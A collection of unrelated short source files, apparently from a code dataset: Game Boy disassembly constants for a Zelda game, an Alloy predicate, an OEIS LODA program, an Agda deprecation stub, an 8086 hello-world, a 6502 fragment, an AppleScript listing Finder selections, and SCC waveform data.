ANIMATED_TILE_PHOTO EQU $11
; BUTTON [Bitmask] [Binary]
J_RIGHT EQU %00000001
J_LEFT EQU %00000010
J_UP EQU %00000100
J_DOWN EQU %00001000
J_A EQU %00010000
J_B EQU %00100000
J_SELECT EQU %01000000
J_START EQU %10000000
; DIRECTION [Enumerated] [Hex]
DIRECTION_RIGHT EQU $00
DIRECTION_LEFT EQU $01
DIRECTION_UP EQU $02
DIRECTION_DOWN EQU $03
DIRECTION_KEEP EQU $0F
; GAMEMODE [Enumerated] [Hex]
GAMEMODE_INTRO EQU $00
GAMEMODE_CREDITS EQU $01
GAMEMODE_FILE_SELECT EQU $02
GAMEMODE_FILE_NEW EQU $03
GAMEMODE_FILE_DELETE EQU $04
GAMEMODE_FILE_COPY EQU $05
GAMEMODE_FILE_SAVE EQU $06
GAMEMODE_WORLD_MAP EQU $07
GAMEMODE_PEACH_PIC EQU $08
GAMEMODE_MARIN_BEACH EQU $09
GAMEMODE_WF_MURAL EQU $0A
GAMEMODE_WORLD EQU $0B
GAMEMODE_INVENTORY EQU $0C
GAMEMODE_PHOTO_ALBUM EQU $0D
GAMEMODE_PHOTO_DIZZY_LINK EQU $0E
GAMEMODE_PHOTO_NICE_LINK EQU $0F
GAMEMODE_PHOTO_MARIN_CLIFF EQU $10
GAMEMODE_PHOTO_MARIN_WELL EQU $11
GAMEMODE_PHOTO_MABE EQU $12
GAMEMODE_PHOTO_ULRIRA EQU $13
GAMEMODE_PHOTO_BOW_WOW EQU $14
GAMEMODE_PHOTO_THIEF EQU $15
GAMEMODE_PHOTO_FISHERMAN EQU $16
GAMEMODE_PHOTO_ZORA EQU $17
GAMEMODE_PHOTO_KANALET EQU $18
GAMEMODE_PHOTO_GHOST EQU $19
GAMEMODE_PHOTO_BRIDGE EQU $1A
; HW_AUDIO_ENABLE [Bitmask] [Binary]
HW_AUDIO_ENABLE EQU %10000000
; HW_CARTRIDGETYPE [Enumerated] [Hex]
cartridge_mbc1_ram_battery EQU $03
; HW_COLORGAMEBOY [Enumerated] [Hex]
not_color_gameboy EQU $00
is_color_gameboy EQU $80
; HW_DESTINATIONCODE [Enumerated] [Hex]
destination_japanese EQU $00
destination_nonjapanese EQU $01
; HW_IE [Bitmask] [Binary]
IE_VBLANK EQU %00000001
IE_LCDC EQU %00000010
IE_TIMEROVERFLOW EQU %00000100
IE_SERIALIO EQU %00001000
IE_PIN1013TRANSITION EQU %00010000
; HW_RAMSIZE [Enumerated] [Hex]
ramsize_none EQU $00
ramsize_1bank EQU $01
ramsize_1bank_ EQU $02
ramsize_4banks EQU $03
ramsize_16banks EQU $04
; HW_ROMSIZE [Enumerated] [Hex]
romsize_2banks EQU $00
romsize_4banks EQU $01
romsize_8banks EQU $02
romsize_16banks EQU $03
romsize_32banks EQU $04
romsize_64banks EQU $05
romsize_128banks EQU $06
romsize_72banks EQU $52
romsize_80banks EQU $53
romsize_96banks EQU $54
; HW_SUPERGAMEBOY [Enumerated] [Hex]
not_super_gameboy EQU $00
is_super_gameboy EQU $80
; INTERACTIVE_MOTION [Enumerated] [Hex]
INTERACTIVE_MOTION_ENABLED EQU $00
INTERACTIVE_MOTION_LOCKED_GRAB_SLASH EQU $01
INTERACTIVE_MOTION_LOCKED_TALKING EQU $02
; JOYPAD [Bitmask] [Binary]
JOYPAD_DIRECTIONS EQU %00010000
JOYPAD_BUTTONS EQU %00100000
; LCDCF [Bitmask] [Binary]
LCDCF_OFF EQU %00000000
LCDCF_ON EQU %10000000
LCDCF_TILEMAP_9C00 EQU %01000000
LCDCF_WINDOW_ON EQU %00100000
LCDCF_BG_CHAR_8000 EQU %00010000
LCDCF_BG_TILE_9C00 EQU %00001000
LCDCF_OBJ_16_16 EQU %00000100
LCDCF_OBJ_DISPLAY EQU %00000010
LCDCF_BG_DISPLAY EQU %00000001
; LINK_ANIMATION [Enumerated] [Hex]
LINK_ANIMATION_STATE_STANDING_DOWN EQU $00
LINK_ANIMATION_STATE_WALKING_DOWN EQU $01
LINK_ANIMATION_STATE_UNKNOWN_02 EQU $02
LINK_ANIMATION_STATE_UNKNOWN_03 EQU $03
LINK_ANIMATION_STATE_STANDING_UP EQU $04
LINK_ANIMATION_STATE_WALKING_UP EQU $05
LINK_ANIMATION_STATE_STANDING_LEFT EQU $06
LINK_ANIMATION_STATE_WALKING_LEFT EQU $07
LINK_ANIMATION_STATE_UNKNOWN_08 EQU $08
LINK_ANIMATION_STATE_UNKNOWN_09 EQU $09
LINK_ANIMATION_STATE_STANDING_RIGHT EQU $0A
LINK_ANIMATION_STATE_WALKING_RIGHT EQU $0B
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_DOWN EQU $0E
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_UP EQU $0F
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_LEFT EQU $10
LINK_ANIMATION_STATE_HOOKSHOT_CHAIN_RIGHT EQU $11
LINK_ANIMATION_STATE_UNKNOWN_12 EQU $12
LINK_ANIMATION_STATE_UNKNOWN_13 EQU $13
LINK_ANIMATION_STATE_UNKNOWN_14 EQU $14
LINK_ANIMATION_STATE_UNKNOWN_15 EQU $15
LINK_ANIMATION_STATE_UNKNOWN_16 EQU $16
LINK_ANIMATION_STATE_UNKNOWN_17 EQU $17
LINK_ANIMATION_STATE_UNKNOWN_18 EQU $18
LINK_ANIMATION_STATE_UNKNOWN_19 EQU $19
LINK_ANIMATION_STATE_STANDING_PUSHING_DOWN EQU $1A
LINK_ANIMATION_STATE_WALKING_PUSHING_DOWN EQU $1B
LINK_ANIMATION_STATE_STANDING_PUSHING_UP EQU $1C
LINK_ANIMATION_STATE_WALKING_PUSHING_UP EQU $1D
LINK_ANIMATION_STATE_STANDING_PUSHING_LEFT EQU $1E
LINK_ANIMATION_STATE_WALKING_PUSHING_LEFT EQU $1F
LINK_ANIMATION_STATE_STANDING_PUSHING_RIGHT EQU $20
LINK_ANIMATION_STATE_WALKING_PUSHING_RIGHT EQU $21
LINK_ANIMATION_STATE_STANDING_SHIELD_DOWN EQU $22
LINK_ANIMATION_STATE_WALKING_SHIELD_DOWN EQU $23
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_DOWN EQU $24
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_DOWN EQU $25
LINK_ANIMATION_STATE_STANDING_MIRROR_SHIELD_USE_DOWN EQU $26
LINK_ANIMATION_STATE_WALKING_MIRROR_SHIELD_USE_DOWN EQU $27
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_LEFT EQU $28
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_LEFT EQU $29
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_RIGHT EQU $2A
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_RIGHT EQU $2B
LINK_ANIMATION_STATE_STANDING_SHIELD_RIGHT EQU $2C
LINK_ANIMATION_STATE_WALKING_SHIELD_RIGHT EQU $2D
LINK_ANIMATION_STATE_STANDING_MIRROR_SHIELD_RIGHT EQU $2E
LINK_ANIMATION_STATE_WALKING_MIRROR_SHIELD_RIGHT EQU $2F
LINK_ANIMATION_STATE_STANDING_SHIELD_USE_UP EQU $30
LINK_ANIMATION_STATE_WALKING_SHIELD_USE_UP EQU $31
LINK_ANIMATION_STATE_STANDING_MIRROR_SHIELD_USE_UP EQU $32
LINK_ANIMATION_STATE_WALKING_MIRROR_SHIELD_USE_UP EQU $33
LINK_ANIMATION_STATE_STANDING_SHIELD_UP EQU $34
LINK_ANIMATION_STATE_WALKING_SHIELD_UP EQU $35
LINK_ANIMATION_STATE_UNKNOWN_36 EQU $36
LINK_ANIMATION_STATE_UNKNOWN_38 EQU $38
LINK_ANIMATION_STATE_UNKNOWN_3A EQU $3A
LINK_ANIMATION_STATE_UNKNOWN_3C EQU $3C
LINK_ANIMATION_STATE_STANDING_LIFTING_RIGHT EQU $3E
LINK_ANIMATION_STATE_WALKING_LIFTING_RIGHT EQU $3F
LINK_ANIMATION_STATE_STANDING_LIFTING_LEFT EQU $40
LINK_ANIMATION_STATE_WALKING_LIFTING_LEFT EQU $41
LINK_ANIMATION_STATE_STANDING_LIFTING_UP EQU $42
LINK_ANIMATION_STATE_WALKING_LIFTING_UP EQU $43
LINK_ANIMATION_STATE_STANDING_LIFTING_DOWN EQU $44
LINK_ANIMATION_STATE_WALKING_LIFTING_DOWN EQU $45
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_RIGHT EQU $46
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_RIGHT EQU $47
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_LEFT EQU $48
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_LEFT EQU $49
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_UP EQU $4A
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_UP EQU $4B
LINK_ANIMATION_STATE_HOLD_SWIMMING_1_DOWN EQU $4C
LINK_ANIMATION_STATE_MOVING_SWIMMING_1_DOWN EQU $4D
LINK_ANIMATION_STATE_HOLD_SWIMMING_2 EQU $4E
LINK_ANIMATION_STATE_MOVING_SWIMMING_2 EQU $4F
LINK_ANIMATION_STATE_UNKNOWN_50 EQU $50
LINK_ANIMATION_STATE_UNKNOWN_51 EQU $51
LINK_ANIMATION_STATE_UNKNOWN_52 EQU $52
LINK_ANIMATION_STATE_UNKNOWN_53 EQU $53
LINK_ANIMATION_STATE_UNKNOWN_54 EQU $54
LINK_ANIMATION_STATE_UNKNOWN_55 EQU $55
LINK_ANIMATION_STATE_UNKNOWN_56 EQU $56
LINK_ANIMATION_STATE_UNKNOWN_57 EQU $57
LINK_ANIMATION_STATE_STANDING_SIDE_SCROLL_LEFT_DOWN EQU $58
LINK_ANIMATION_STATE_WALKING_SIDE_SCROLL_LEFT_DOWN EQU $59
LINK_ANIMATION_STATE_STANDING_SIDE_SCROLL_RIGHT_UP EQU $5B
LINK_ANIMATION_STATE_WALKING_SIDE_SCROLL_RIGHT_UP EQU $5C
LINK_ANIMATION_STATE_JUMPING_1 EQU $5E
LINK_ANIMATION_STATE_JUMPING_2 EQU $5F
LINK_ANIMATION_STATE_JUMPING_3 EQU $60
LINK_ANIMATION_STATE_UNKNOWN_61 EQU $61
LINK_ANIMATION_STATE_UNKNOWN_62 EQU $62
LINK_ANIMATION_STATE_UNKNOWN_63 EQU $63
LINK_ANIMATION_STATE_UNKNOWN_64 EQU $64
LINK_ANIMATION_STATE_UNKNOWN_65 EQU $65
LINK_ANIMATION_STATE_UNKNOWN_66 EQU $66
LINK_ANIMATION_STATE_UNKNOWN_67 EQU $67
LINK_ANIMATION_STATE_UNKNOWN_68 EQU $68
LINK_ANIMATION_STATE_UNKNOWN_69 EQU $69
LINK_ANIMATION_STATE_UNKNOWN_6A EQU $6A
LINK_ANIMATION_STATE_UNKNOWN_6B EQU $6B
LINK_ANIMATION_STATE_GOT_ITEM EQU $6C
LINK_ANIMATION_STATE_UNKNOWN_75 EQU $75
LINK_ANIMATION_STATE_NO_UPDATE EQU $FF
; MUSIC [Enumerated] [Hex]
MUSIC_NONE EQU $00
MUSIC_TITLE_SCREEN_INTRO EQU $01
MUSIC_MINIGAME EQU $02
MUSIC_GAME_OVER EQU $03
MUSIC_MABE_VILLAGE EQU $04
MUSIC_OVERWORLD EQU $05
MUSIC_MT_TAMARANCH EQU $06
MUSIC_WITCH_HUT EQU $07
MUSIC_RAFT_RIDE_RAPIDS EQU $08
MUSIC_MYSTERIOUS_FOREST EQU $09
MUSIC_HOUSE EQU $0A
MUSIC_ANIMAL_VILLAGE EQU $0B
MUSIC_FAIRY_FOUNTAIN EQU $0C
MUSIC_TITLE_SCREEN EQU $0D
MUSIC_BOWWOW_KIDNAPPED EQU $0E
MUSIC_SWORD_ACQUIRED EQU $0F
MUSIC_TOOL_ACQUIRED EQU $10
MUSIC_FILE_SELECT EQU $11
MUSIC_EGG_MAZE EQU $12
MUSIC_KANALET_CASTLE EQU $13
MUSIC_TAIL_CAVE EQU $14
MUSIC_BOTTLE_GROTTO EQU $15
MUSIC_KEY_CAVERN EQU $16
MUSIC_ANGLERS_TUNNEL EQU $17
MUSIC_BOSS_DEFEATED EQU $18
MUSIC_BOSS_BATTLE EQU $19
MUSIC_INTRO_CUTSCENE EQU $1A
MUSIC_INSTRUMENT_ACQUIRED EQU $1B
MUSIC_LINK_AWAKENS EQU $1C
MUSIC_SWORD_SEARCH EQU $1D
MUSIC_DREAMING EQU $1E
MUSIC_SOUTHERN_SHRINE EQU $1F
MUSIC_INSTRUMENT_FULL_MOON_CELLO EQU $20
MUSIC_2D_UNDERGROUND EQU $21
MUSIC_OWL EQU $22
MUSIC_FINAL_BOSS EQU $23
MUSIC_DREAM_SHRINE_BED EQU $24
MUSIC_HEART_CONTAINER_ACQUIRED EQU $25
MUSIC_COMMON_CAVE EQU $26
MUSIC_POWERUP_ACQUIRED EQU $27
MUSIC_INSTRUMENT_CONCH_HORN EQU $28
MUSIC_INSTRUMENT_SEA_LILY_BELL EQU $29
MUSIC_INSTRUMENT_SURF_HARP EQU $2A
MUSIC_INSTRUMENT_WIND_MARIMBA EQU $2B
MUSIC_INSTRUMENT_CORAL_TRIANGLE EQU $2C
MUSIC_INSTRUMENT_ORGAN_OF_EVENING_CALM EQU $2D
MUSIC_INSTRUMENT_THUNDER_DRUM EQU $2E
MUSIC_MARIN_SINGING EQU $2F
MUSIC_MANBO_MAMBO EQU $30
MUSIC_OVERWORLD_INTRO EQU $31
MUSIC_MR_WRITE_HOUSE EQU $32
MUSIC_PHONE_BOOTH EQU $33
MUSIC_TARIN_BEEHIVE EQU $34
MUSIC_MAMU_SONG EQU $35
MUSIC_MONKEYS_BUILDING_BRIDGE EQU $36
MUSIC_CHRISTINE_HOUSE EQU $37
MUSIC_TOTAKA_SONG_UNUSED EQU $38
MUSIC_TURTLE_ROCK_ENTRANCE_BOSS EQU $39
MUSIC_FISHING_UNDER_BRIDGE EQU $3A
MUSIC_CLASSIC_RECEIVED_ITEM EQU $3B
MUSIC_TOTAKEKE_NICKNAME_EASTER_EGG EQU $3C
MUSIC_ENDING EQU $3D
MUSIC_BOWWOW_KIDNAPPED_INTRODUCTION EQU $3E
MUSIC_WIND_FISH_AWAKENS EQU $3F
MUSIC_RICHARD_MANSION EQU $40
MUSIC_BALLAD_HORN EQU $41
MUSIC_BALLAD_BELL EQU $42
MUSIC_BALLAD_HARP EQU $43
MUSIC_BALLAD_MARIMBA EQU $44
MUSIC_BALLAD_TRIANGLE EQU $45
MUSIC_BALLAD_ORGAN EQU $46
MUSIC_BALLAD_ALL EQU $47
MUSIC_GHOST_HOUSE EQU $48
MUSIC_ACTIVE_POWER_UP EQU $49
MUSIC_LINK_MARIN_DUET EQU $4A
MUSIC_CATFISH_MAW EQU $4B
MUSIC_WATERFALL_DRAIN EQU $4C
MUSIC_MARIN_BEACH_TRANSITION EQU $4D
MUSIC_MARIN_BEACH EQU $4E
MUSIC_MINIBOSS EQU $50
MUSIC_KANALET_CASTLE_COPY EQU $51
MUSIC_TAIL_CAVE_COPY EQU $52
MUSIC_DREAM_SHRINE EQU $53
MUSIC_EAGLES_TOWER_BOSS_CUTSCENE EQU $54
MUSIC_ROOSTER_REVIVAL EQU $55
MUSIC_SEASHELL_MANSION_SPIRIT EQU $56
MUSIC_CUCCO_HOUSE EQU $57
MUSIC_FACE_SHRINE EQU $58
MUSIC_MEETING_WINDFISH EQU $59
MUSIC_TURTLE_ROCK EQU $5A
MUSIC_EAGLE_TOWER EQU $5B
MUSIC_GRIM_CREEPER_DIALOG EQU $5C
MUSIC_FINAL_BOSS_DIALOG EQU $5D
MUSIC_BOSS_WARNING EQU $5E
MUSIC_FINAL_BOSS_DEFEATED EQU $5F
MUSIC_ZELDA_NICKNAME_EASTER_EGG EQU $60
MUSIC_COLOR_DUNGEON EQU $61
MUSIC_SILENCE EQU $FF
; STATF [Bitmask] [Binary]
STATF_LYC EQU %01000000
STATF_MODE10 EQU %00100000
STATF_MODE01 EQU %00010000
STATF_MODE00 EQU %00001000
STATF_LYCF EQU %00000100
STATF_OAM EQU %00000010
STATF_VB EQU %00000001
STATF_HB EQU %00000000
; UPDATE_BG_TILES [Enumerated] [Hex]
UPDATE_BG_TILES_DO_NOTHING EQU $00
UPDATE_BG_TILES_WORLD EQU $01
UPDATE_BG_TILES_DUNGEON_MINIMAP EQU $02
; binary [Any] [Binary]
; bool [Enumerated] [Decimal]
false EQU 0
true EQU 1
; decimal [Any] [Decimal]
; hex [Any] [Hex] |
alloy4fun_models/trashltl/models/7/BLDFMEhPyqfHPhNPp.als | Kaixi26/org.alloytools.alloy | 0 | 3041 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idBLDFMEhPyqfHPhNPp_prop8 {
all f1,f2 : File | f1->f2 in link implies eventually f2 in Trash
}
pred __repair { idBLDFMEhPyqfHPhNPp_prop8 }
check __repair { idBLDFMEhPyqfHPhNPp_prop8 <=> prop8o } |
programs/oeis/069/A069722.asm | neoneye/loda | 22 | 91094 | ; A069722: Number of rooted unicursal planar maps with n edges and exactly one vertex of valency 1 (unicursal means that exactly two vertices are of odd valency; there is an Eulerian path).
; 0,4,24,160,1120,8064,59136,439296,3294720,24893440,189190144,1444724736,11076222976,85201715200,657270374400,5082890895360,39392404439040,305870434467840,2378992268083200,18531097667174400,144542561803960320,1128808577897594880,8825230699926650880,69067022868991180800,541025012473764249600,4241636097794311716864,33280529382693830393856,261313786264114520129536,2053179749218042658160640,16142240786955645726228480,126985627524051079712997376,999499777931240756450689024,7871060751208520957049176064,62014418039824710570690478080,488819530431559483321913180160,3854691154260297639909943934976,30409230216942348048178446598144,239986357387761233245083956936704,1894629137271799209829610186342400,14962712161018311708397947112652800,118205426072044662496343782189957120,934111171886401723141838669013319680
mov $1,$0
mul $0,2
bin $0,$1
lpb $1
mul $0,2
sub $1,1
lpe
div $0,4
mul $0,4
|
agda-stdlib/src/Data/List/Any/Properties.agda | DreamLinuxer/popl21-artifact | 5 | 27 | <gh_stars>1-10
------------------------------------------------------------------------
-- The Agda standard library
--
-- This module is DEPRECATED. Please use
-- Data.List.Relation.Unary.Any.Properties directly.
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List.Any.Properties where
open import Data.List.Relation.Unary.Any.Properties public
{-# WARNING_ON_IMPORT
"Data.List.Any.Properties was deprecated in v1.0.
Use Data.List.Relation.Unary.Any.Properties instead."
#-}
|
Computer_Science/8_Assembly_Level_Programming/p01_helloworld.asm | Soumya14022002/Algos-for-all-Amigos | 10 | 95686 | ; Comment Line
; Install an 8086 Assembler and run the code
; Resources used: https://www.youtube.com/watch?v=zEuvNYe7WG0
.model tiny
.code
org 100h ; Code starts with an offset of 100h
main proc near
mov ah, 09h ; Moving the value of 09h to the register ah
mov dx, offset message ; Moving the message to be displayed to register dx. Must end with a $ sign
int 21h ; DOS Interrupt. Initiates the process. Done before almost every command
mov ah, 4ch ; Moves the value of 4ch to register ah. Function to terminate
mov al, 00
int 21h ; Again, using the interrupt to intiate the above 2 lines
endp ; Ends the main
message db "Hello World! $" ; db data type. Variable name is message. String must be within "" and must end with $
end main ; Ends the program |
src/main/fragment/mos6502-common/vwum1=vwum1_plus__word1_vdum2.asm | jbrandwood/kickc | 2 | 245971 | clc
lda {m1}
adc {m2}+2
sta {m1}
lda {m1}+1
adc {m2}+3
sta {m1}+1
|
get_selection.applescript | Bilalh/Scripts | 0 | 1714 | <filename>get_selection.applescript
#!/usr/bin/env osascript
set res to ""
tell application "Finder"
set paths to the selection
repeat with i from 1 to number of items in paths
set res to res & " " & quoted form of POSIX path of (item i of paths as alias)
end repeat
end tell
res |
data/all_data_files_waves.asm | artrag/voicenc_scc | 4 | 165872 | <filename>data/all_data_files_waves.asm<gh_stars>1-10
CODE
data1:
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0xFD,0xFF,0xFE,0xFD,0xFB,0xFA,0xFA,0xFB,0xFD,0xFF,0xFF,0xFE,0xFE,0xFF,0xFF,0xFF,0x00,0x02,0x03,0x04,0x04,0x05,0x0B,0x11,0x14,0x10,0x09,0x02,0x02,0xFF,0xFE,0xFE
db 0xEF,0xEC,0xE7,0xE4,0xE7,0xEE,0xF5,0xF9,0xFC,0x00,0x06,0x0C,0x10,0x05,0x05,0x06,0x08,0x09,0x09,0x09,0x09,0x09,0x0B,0x12,0x1B,0x1C,0x0E,0xFC,0xF6,0xF8,0xF7,0xF2
db 0xE4,0xF3,0xF5,0xEA,0xE2,0xE8,0xF7,0x05,0x0C,0x0F,0x13,0x15,0x18,0x1A,0x1C,0x19,0x13,0x0B,0x03,0xFF,0x01,0x04,0x03,0x06,0x1D,0x30,0x1E,0xF0,0xD1,0xCD,0xD1,0xD7
db 0xD5,0xEA,0xF7,0xF4,0xEC,0xF0,0xFB,0x04,0x09,0x10,0x1B,0x22,0x25,0x26,0x25,0x21,0x17,0x0D,0x03,0xFE,0xFC,0xFD,0xFC,0x04,0x1B,0x2F,0x21,0xF5,0xD1,0xC5,0xC4,0xC8
db 0xC9,0xDF,0xEE,0xF6,0xFD,0x03,0x07,0x07,0x09,0x11,0x1C,0x25,0x2A,0x2B,0x29,0x21,0x16,0x0A,0x01,0xFC,0xFA,0xF9,0xFE,0x0F,0x22,0x23,0x0C,0xEE,0xD8,0xC7,0xBC,0xBA
db 0xC5,0xDA,0xEB,0xF7,0x00,0x07,0x0B,0x0B,0x0D,0x13,0x1C,0x24,0x2A,0x2C,0x2A,0x24,0x19,0x0C,0x01,0xFA,0xF6,0xF5,0xFC,0x0C,0x1D,0x1E,0x0C,0xF4,0xDE,0xCB,0xBC,0xB9
db 0xC7,0xDA,0xEB,0xF5,0xFB,0x01,0x05,0x07,0x09,0x10,0x1A,0x21,0x26,0x28,0x27,0x21,0x17,0x0C,0x03,0xFC,0xFA,0xFA,0xF8,0x06,0x1A,0x22,0x14,0xFA,0xE2,0xD0,0xC2,0xBD
db 0xCB,0xE1,0xF3,0xF4,0xEC,0xE9,0xF1,0xFC,0x06,0x0F,0x16,0x1C,0x1F,0x24,0x25,0x23,0x1D,0x14,0x0B,0x02,0xFE,0xFD,0xFF,0xFF,0x0C,0x27,0x2F,0x10,0xE4,0xCA,0xC4,0xC2
db 0xCB,0xE2,0xF4,0xF1,0xE6,0xDD,0xE2,0xF3,0x07,0x13,0x18,0x19,0x1A,0x1E,0x23,0x26,0x25,0x1E,0x12,0x07,0xFF,0x00,0x03,0x02,0xFF,0x16,0x35,0x26,0xF2,0xCC,0xC1,0xC1
db 0xC0,0xD9,0xED,0xED,0xE4,0xDE,0xDE,0xEE,0x07,0x18,0x1C,0x1B,0x1C,0x1E,0x24,0x2A,0x2C,0x25,0x19,0x0B,0x00,0xFE,0x00,0x02,0xFC,0x0A,0x31,0x2B,0xFD,0xD7,0xC5,0xBA
db 0xC3,0xD3,0xE2,0xE8,0xE6,0xE0,0xE2,0xF1,0x06,0x15,0x1E,0x1F,0x1E,0x20,0x25,0x29,0x2B,0x26,0x1B,0x0B,0x01,0xFF,0xFF,0xFF,0xFE,0x16,0x2D,0x1C,0xFA,0xDC,0xC2,0xB8
db 0xDC,0xED,0xF1,0xE8,0xDA,0xD7,0xE4,0xFE,0x10,0x1C,0x1B,0x15,0x13,0x19,0x23,0x2A,0x2B,0x21,0x14,0x08,0xFF,0x03,0x06,0x05,0x00,0x1B,0x31,0x19,0xE9,0xCA,0xB8,0xC2
db 0xE7,0xF3,0xF2,0xE3,0xD5,0xD5,0xE5,0xFF,0x14,0x19,0x0F,0x07,0x0A,0x17,0x26,0x2C,0x28,0x1C,0x0F,0x06,0x02,0x08,0x0D,0x0A,0xFD,0x07,0x31,0x2D,0xED,0xBB,0xBC,0xD2
db 0xEF,0xF5,0xF7,0xF0,0xDB,0xCF,0xE0,0xFE,0x11,0x15,0x0F,0x04,0x00,0x0C,0x20,0x2A,0x26,0x1A,0x0E,0x06,0x05,0x06,0x0D,0x0D,0x05,0xF8,0x16,0x3B,0x19,0xC6,0xAB,0xCF
db 0xFC,0xF8,0xF2,0xF1,0xDD,0xCB,0xDC,0x00,0x13,0x10,0x09,0xFF,0xFC,0x09,0x20,0x2B,0x24,0x17,0x0E,0x07,0x05,0x09,0x10,0x0D,0x05,0xF9,0x18,0x3F,0x1B,0xC4,0xA8,0xD7
db 0xFB,0xFB,0xED,0xF0,0xE7,0xCC,0xD1,0xF8,0x11,0x0E,0x06,0x02,0xFE,0x03,0x17,0x29,0x28,0x1A,0x10,0x0C,0x08,0x06,0x0E,0x13,0x0D,0xFA,0x08,0x3A,0x32,0xDD,0xA5,0xC9
db 0xFB,0xF9,0xEB,0xEE,0xE4,0xC9,0xCE,0xF6,0x12,0x10,0x06,0x01,0xFE,0x03,0x15,0x28,0x28,0x1C,0x10,0x0C,0x08,0x08,0x12,0x15,0x0B,0xFA,0x0E,0x3F,0x2D,0xD6,0xA6,0xCE
db 0x02,0xEB,0xE3,0xEF,0xD8,0xC0,0xD9,0x08,0x16,0x07,0x00,0x03,0x02,0x09,0x1E,0x2E,0x28,0x17,0x0D,0x0B,0x09,0x09,0x15,0x14,0x08,0xF7,0x24,0x4A,0x16,0xB8,0xAC,0xE9
db 0xF2,0xE3,0xE3,0xEE,0xCF,0xB0,0xCC,0xFF,0x0F,0x06,0x06,0x09,0x04,0x09,0x22,0x35,0x30,0x21,0x17,0x10,0x09,0x0C,0x19,0x15,0x07,0xF9,0x2C,0x4B,0x08,0xB3,0xB6,0xEE
db 0xEA,0xDB,0xE7,0xEB,0xC2,0xAB,0xCF,0xFC,0x08,0x05,0x0C,0x0B,0x03,0x0C,0x28,0x39,0x33,0x26,0x1D,0x14,0x0B,0x0F,0x1B,0x15,0x06,0xFA,0x32,0x47,0xFD,0xB6,0xBB,0xEC
db 0xE0,0xD3,0xE2,0xE6,0xC1,0xA4,0xC6,0xF2,0x02,0x07,0x10,0x0D,0x04,0x0E,0x2A,0x3E,0x3D,0x33,0x28,0x1B,0x10,0x12,0x1F,0x19,0x0B,0xFB,0x29,0x49,0x04,0xBC,0xBA,0xE6
db 0xD2,0xBA,0xD0,0xDC,0xC1,0xA2,0xB7,0xE2,0xF7,0x02,0x10,0x15,0x0C,0x0C,0x24,0x3D,0x45,0x41,0x3A,0x2D,0x1C,0x15,0x21,0x1F,0x13,0x03,0x24,0x49,0x06,0xBF,0xB9,0xDC
db 0xD0,0xB6,0xC4,0xDE,0xCA,0xAD,0xB0,0xD1,0xE6,0xF5,0x0E,0x19,0x0F,0x0A,0x19,0x2F,0x3C,0x42,0x40,0x37,0x25,0x17,0x1B,0x22,0x1A,0x0E,0x11,0x43,0x2F,0xDA,0xC1,0xCF
db 0xB8,0xBC,0xDC,0xE6,0xCD,0xCB,0xD4,0xD2,0xDF,0x00,0x16,0x13,0x0D,0x12,0x1D,0x27,0x33,0x3B,0x37,0x2A,0x1C,0x12,0x13,0x14,0x0E,0x0B,0x0F,0x40,0x2B,0xDA,0xD7,0xD3
db 0xBA,0xBF,0xD2,0xD4,0xCC,0xCF,0xD1,0xCE,0xDE,0xFE,0x11,0x13,0x15,0x18,0x1B,0x23,0x31,0x38,0x33,0x2B,0x1F,0x11,0x0C,0x10,0x0A,0x04,0x04,0x28,0x30,0xEF,0xE7,0xDF
